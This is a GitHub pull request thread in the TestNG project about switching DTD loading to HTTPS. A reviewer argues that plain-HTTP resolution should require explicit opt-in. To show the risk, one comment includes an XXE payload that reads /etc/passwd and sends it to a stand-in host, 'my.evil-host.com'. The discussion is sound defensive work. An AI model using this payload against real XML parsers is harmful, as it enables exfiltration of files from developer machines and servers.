Use HTTPS for loading DTD

[krmahadevan]

Closes #2022

Fixes #2022 .

Did you remember to?

• Add test case(s)
• Update CHANGES.txt

We encourage pull requests that:

• Add new features to TestNG (or)
• Fix bugs in TestNG

If your pull request involves fixing SonarQube issues then we would suggest that you please discuss this with the
TestNG-dev before you spend time working on it.

[cbeust]

Awesome, thanks @krmahadevan !

/cc @JLLeitschuh

[JLLeitschuh]

Is the result = super.resolveEntity(systemId, publicId); still nessasary? For security purposes, I'd reccomend disabling resolving resources if they are HTTP based. If you still need to support resolving resources over HTTP, it should require users to explicitly opt-in to loading resources insecurely.

https://github.com/cbeust/testng/blob/9d1ea8c07f2dc337aaf37c26e5eb2f8eca4768d6/src/main/java/org/testng/xml/TestNGContentHandler.java#L105

https://github.com/cbeust/testng/blob/9d1ea8c07f2dc337aaf37c26e5eb2f8eca4768d6/src/main/java/org/testng/xml/TestNGContentHandler.java#L113

I'd also recommend making this an error instead of a warning (allow user opt-out if necessary).

https://github.com/cbeust/testng/blob/9d1ea8c07f2dc337aaf37c26e5eb2f8eca4768d6/src/main/java/org/testng/xml/TestNGContentHandler.java#L99-L105
If "fetching from the website" is made over HTTP, the DTD can be MITM leaving the user vulnerable to XXE.

[krmahadevan]

@JLLeitschuh

Is the result = super.resolveEntity(systemId, publicId); still nessasary?

IMO, yes. Else it would break backward compatibility.

If you still need to support resolving resources over HTTP, it should require users to explicitly opt-in to loading resources insecurely.

Why would TestNG want to control what a user wants to do ? That to me sounds like we are trying to control what a user would like to do. I can understand that TestNG should by itself strive to use only the https end-point, but why try to enforce that amongst users too ?

[JLLeitschuh]

I can understand that TestNG should by itself strive to use only the https end-point, but why try to enforce that amongst users too?

Because you are protecting users from themselves. Most users don't understand the security risks of XML loaded over HTTP.

If via a MITM, a malicious actor can add the following to any DTD loaded, I can use their XML parser to maliciously exfiltrate the contents of files.

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "http://my.evil-host.com/x=%payload;">'>
%param1;
%external;

Most users aren't aware of the risk of XXE against XML parsers. By requiring explicit opt-in, you are protecting users from shooting themselves in the foot.

[krmahadevan]

@JLLeitschuh

Because you are protecting users from themselves. Most users don't understand the security risks of XML loaded over HTTP.

That to me doesn't sound like the primary responsibility of a test framework. TestNG is supposed to just be a test framework. Not sure if we are to be straying away from that and trying to put in checks and balances that would ensure that a user doesn't intentionally or unintentionally expose themselves to security risks.

[JLLeitschuh]

TestNG is supposed to just be a test framework.

Correct. That being said, TestNG should not be something that an attacker can leverage to maliciously exfiltrate the contents of files from a developers machine or build server.

Not sure if we are to be straying away from that and trying to put in checks and balances that would ensure that a user doesn't intentionally or unintentionally expose themselves to security risks.

In some cases, I would agree, but in this case, since all it requires is a single character typo for a user to be vulnerable (http vs https), it is incredibly easy for TestNG to implement checks to protect the user.

Similarities with Issue #2018
Once the dust settles on this HTTP incident around resolving dependencies (I'm waiting on some other projects/teams to resolve the issue), I plan to open feature requests with Gradle, Maven, and SBT to suggest that all of these tools require the user to explicitly opt-out of the security offered by resolving dependencies over HTTPS.

It's so simple for users to unintentionally be vulnerable to this.

[krmahadevan]

ping @cbeust @juherr - Your thoughts on this ?

[cbeust]

I lean toward accepting @JLLeitschuh's point right now, assuming we don't break backward compatibility.

Well, actually, even if we do break backward compatibility, we are about to release 7.0, so now would be the perfect time to do so.

[juherr]

I like the new option! Good idea 👍

[JLLeitschuh]

Nice work @krmahadevan!